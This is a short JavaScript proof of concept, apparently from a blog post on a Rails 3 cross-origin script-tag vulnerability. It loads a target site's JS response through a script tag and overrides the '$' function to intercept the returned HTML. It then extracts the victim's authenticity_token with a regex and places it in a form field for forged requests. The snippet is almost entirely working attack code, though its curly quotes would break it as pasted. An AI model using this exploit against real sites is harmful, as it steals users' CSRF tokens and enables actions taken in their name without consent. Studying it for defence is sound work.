https://medium.com/@MaximAbramchuk/about-rails-3-cross-origin-script-tag-vulnerability

code_3.js

var _document = document;
var token = ‘’;

getSecureInfo = function (html) {
 matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
 token = matches[1];
 document.getElementById(‘token’).value = token;
};

function $() {
 return {
 after: getSecureInfo
 }
};

document.write(‘<script src=”http://example.com/users/maximabramchuk/books/new.js">    </script>');

document.addEventListener(‘DOMContentLoaded’, function () {
 document.getElementById(‘token’).value = token;
}, false);